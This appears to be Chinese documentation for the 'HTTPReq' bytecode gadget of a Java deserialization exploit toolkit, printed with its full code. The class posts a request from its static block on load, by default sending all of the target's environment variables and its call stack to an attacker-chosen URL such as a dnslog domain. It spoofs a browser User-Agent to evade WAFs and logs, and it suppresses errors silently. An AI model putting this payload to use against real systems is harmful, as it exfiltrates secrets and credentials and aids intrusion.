- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无
生成一段「主动发起 HTTP 请求」的字节码:类被加载后在静态块中向指定 URL 发 POST 请求。用于探测字节码是否执行成功、判断目标是否 HTTP/TCP 出网;可选把目标的 env 环境变量与当前调用栈以明文放进 POST 包带出。是链尾字节码 sink(byte[] 产物)。
- 入口
tags:Bytecode、END——Bytecode承接上游字节码转换器;END表示终端 sink。 - 衔接
nextTags:空 —— 终点。 excludes:无。
gadget 本体负责 URL 补全并把 url、env 写入模板静态字段:
@Param(name="url地址", description="若没有 http:// 前缀,该gadget会进行自动补全.\neg: x.dnslog.cn")
public String url;
@Param(name="回显env环境变量和调用栈", type=ParamType.Boolean)
public String env = "true";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(HTTPReqBytecode.class);
if (!this.url.startsWith("http")) {
this.url = "http://" + this.url; // 自动补全协议头
}
javassistHelper.modifyStringField("url", this.url); // 写入模板静态字段
javassistHelper.modifyStringField("env", this.env);
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END gadget:内层为空
byte[] bytes = this.getObject();
return bytes;
}模板类在静态块中发请求:
public static String url;
public static String env;
static { new HTTPReqBytecode(); } // 类加载即触发
public HTTPReqBytecode() {
String jsonInputString = "test";
if (Boolean.parseBoolean(env)) { // env=true 时携带敏感信息
jsonInputString = mapToString(System.getenv()) + "\n\n" + getCurrentStackTrace();
}
try {
URL _url = new URL(url);
HttpURLConnection connection = (HttpURLConnection) _url.openConnection();
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/json; utf-8");
connection.setRequestProperty("User-Agent", "Mozilla/5.0 ...Chrome/114...");
connection.setDoOutput(true);
try (OutputStream os = connection.getOutputStream()) {
os.write(jsonInputString.getBytes(UTF_8)); // 把 env+调用栈作为 POST body 外带
}
try (BufferedReader in = ...) { /* 读取响应 */ }
} catch (Exception e) { /* 静默 */ }
finally { if (connection != null) connection.disconnect(); }
}关键点:
- URL 自动补全:
url不含http前缀时自动加http://,方便直接填 dnslog 域名(如x.dnslog.cn)。 - 两种用途合一:既能作探测(目标能否出网、字节码是否被执行——收到请求即证明),又能作信息回传——
env=true(默认)时把System.getenv()全量环境变量(mapToString)与Thread.currentThread().getStackTrace()(getCurrentStackTrace,从第 2 帧起)拼进 POST body 明文外带。description 特别提醒 env、调用栈为明文。 - 伪装 UA:请求头带 Chrome User-Agent,降低被 WAF/日志识别的概率。
- 静态块
catch(Exception)静默吞异常,不影响宿主进程稳定性。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
url地址 | 目标 URL,无 http:// 前缀时自动补全,可直接填 dnslog 域名 |
无 | 任意 URL/域名 |
env |
回显env环境变量和调用栈 | 开启则 POST body 携带明文环境变量与调用栈 | true |
true/false(ParamType.Boolean) |
- 与依赖/版本无关的通用探测/信息收集载荷。
- 常见用途:确认某条 gadget 链在目标真的触发了字节码执行(sink 是否落地),并判断出网能力(HTTP/TCP)。
- 注意 env 与调用栈为明文外带,实战中若目标经中间代理可能泄露敏感信息,慎开。
- 作为
byte[]sink,须由上游转换器加载后静态块才会触发。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。典型用法:[BytecodeConvert, HTTPReq]。功能上与预设链 24「DNSLog 探测链」[BytecodeConvert, DNSLogWithInfo]、25「Sleep 探测链」同属探测类。
- 上游(承接
Bytecode):BytecodeConvert。 - 同族探测:DNSLog、DNSLogAndHttp、DNSLogWithInfo、Sleep、TcpConnect、UdpConnect —— 各自用不同协议/方式验证出网与执行。
- 对照:命令执行 sink Exec。